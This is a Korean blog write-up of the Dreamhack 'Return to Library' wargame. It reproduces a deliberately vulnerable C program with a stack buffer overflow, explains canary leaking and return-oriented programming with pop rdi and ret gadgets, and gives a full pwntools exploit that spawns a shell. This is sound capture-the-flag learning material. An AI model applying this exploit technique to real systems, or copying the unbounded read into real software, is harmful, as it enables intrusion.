문제: https://dreamhack.io/wargame/challenges/353
Return to Library
Description Exploit Tech: Return to Library에서 실습하는 문제입니다.
dreamhack.io
📍 보호기법

amd64, 카나리 있음, NX 있음, PIE 없음
📍 소스코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
[1] Leak Canary
사용자 입력을 0x100바이트만큼 받아 0x30바이트 크기의 buf에 저장한다. (BOF 취약점)
buf의 값을 printf의 %s 형식지정자로 널 바이트를 만날 때까지 출력한다.
[2] Overwrite return address
사용자 입력을 0x100바이트만큼 받아 0x30바이트 크기의 buf에 저장한다.
main에서 system() 함수를 사용하고 있어 PLT에 주소가 올라가 있다는 것을 알 수 있다.
NX 보호기법이 활성화되어 있으므로 셸코드는 주입할 수 없고,
PLT 테이블에 올라와 있는 system 함수의 주소로 리턴주소를 덮어보자.
📍 익스플로잇
공격 시나리오:
1. buf로부터 카나리까지의 offset 계산하기
2. [1]에서 offset+1만큼의 입력값을 주고, %s로 출력되는 카나리 값 받기
3. [2]에서 buf로부터 리턴주소까지 덮기
objdump 명령어를 활용해보자.
objdump는 GNU 바이너리 유틸리티의 일부로,
라이브러리, 컴파일된 오브젝트 모듈, 공유 오브젝트 파일, 독립 실행파일 등의 바이너리 파일들의 정보를 보여준다.
PLT 테이블 출력: objdump -d rtl
GOT 테이블 출력: objdump -R rtl

GOT 테이블에 저장된 system 함수의 주소는 0x601028이다.


buf의 주소는 [rbp-0x40]이고 카나리는 [rbp-0x8]에 있다.
아 참고로 0x40에서 0x8을 빼면 당연히 0x32가 아니라 0x38이다... ㅋㅋ 이걸로 몇십 분 버렸다 댕청~
다시 흐름을 정리해보면 이렇다.
1. buf로부터 카나리까지의 offset 계산하기 = 0x40 - 0x8 = 0x38
2. [1]에서 offset+1만큼의 입력값( = 0x38 + 0x1 )을 주고, %s로 출력되는 카나리 값 받기
3. [2]에서 buf로부터 리턴주소를 system 함수의 GOT 주소로 덮고, 인자로 binsh 주기
여기서 인자를 주려면 가젯이라는 게 필요하다고 한다.
가젯 없이 리턴주소만 덮으면 system 함수는 실행되는데, 인자값으로 의미없는 쓰레기값이 들어간다는 모양이다.
리턴 가젯은 ret 명령어로 끝나는 어셈블리 코드 조각을 의미한다.
함수를 호출할 때 첫 번째 인자는 rdi 레지스터에 들어가므로,
rdi의 값을 "/bin/sh"로 설정한 뒤 system 함수를 호출하면 system("/bin/sh")를 실행할 수 있을 것이다.
e = ELF("./rtl")
r = ROP(e)
prdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
요렇게 찾으면 된다.
참고: 'pop rdi'로 찾아도, ret 명령어로 끝나는 코드 조각을 찾아주므로 실제 찾은 가젯은 pop rdi ; ret 형태이다.
최종 스크립트:
from pwn import *
p = remote("host3.dreamhack.games", 19900)
e = ELF("./rtl")
r = ROP(e)
system_plt = e.plt['system']
binsh = next(e.search(b'/bin/sh'))
prdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
payload = b'A'*(0x40-0x8) + b'B'
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
payload = b'A'*0x38
payload += p64(canary)
payload += b'B'*0x8
payload += p64(ret)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter("Buf: ", payload)
p.interactive()
페이로드에 ret ➡️ prdi 순으로 넣는 이유는 스택 정렬을 맞추기 위해서이다.
glibc 2.27 이후부터는 movaps 명령을 쓰는 경우가 많은데,
그건 스택 포인터가 16바이트(0x10) 정렬되어 있어야 된다고 한다.
그런데 pop rdi ; ret 같은 가젯을 쓰면, 스택에 들어가는 건 8바이트 주소니까 스택이 8바이트만 이동한다.
그러면 스택 정렬이 깨져서 seg fault가 발생한다.
따라서 ret 가젯을 한 번 먼저 실행시켜서(더미 8바이트 값) rsp를 8바이트 더 올리고 16바이트 정렬을 맞춰 준다.
그리고 처음에 binsh의 주소를 찾을 때
binsh = e.symbols['binsh']
로 찾으려고 했었는데 나처럼 하면 안된다.
binsh는 포인터 변수라서, binsh에 있는 값은 "/bin/sh" 문자열이 아니고 어딘가의 주소값이다.
따라서 문자열 자체의 주소를 찾는 함수를 써야 한다. ⬇️
binsh = next(e.search(b'/bin/sh'))

드림핵 해설 보고 싶은 거 참느라 너무 힘들었다😎
🚩
추가:
$ ROPgadget --binary ./rtl --re "pop rdi"
이렇게 ROPgadget을 이용해서 가젯을 찾을 수도 있다고 한다.
--re 옵션을 쓰면 정규표현식으로 결과를 필터링할 수 있다.
참고: https://whitel0tus.tistory.com/18
pwntools
PRELIMINARY 서론 pwntools는 CTF를 위해 최적화된 기능들을 제공하는 python 라이브러리이다. 주어진 바이너리에 대해 분석하고, 호스트와 상호작용하는 등 다양한 작업을 수행할 수 있다. 다음 명령어
whitel0tus.tistory.com
'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글
| [드림핵] struct person_t (1) | 2025.03.29 |
|---|---|
| [드림핵] rop (0) | 2025.03.29 |
| [드림핵] ssp_001 (0) | 2025.03.27 |
| [드림핵] Return to Shellcode (0) | 2025.03.26 |
| [드림핵] basic_heap_overflow (0) | 2025.03.25 |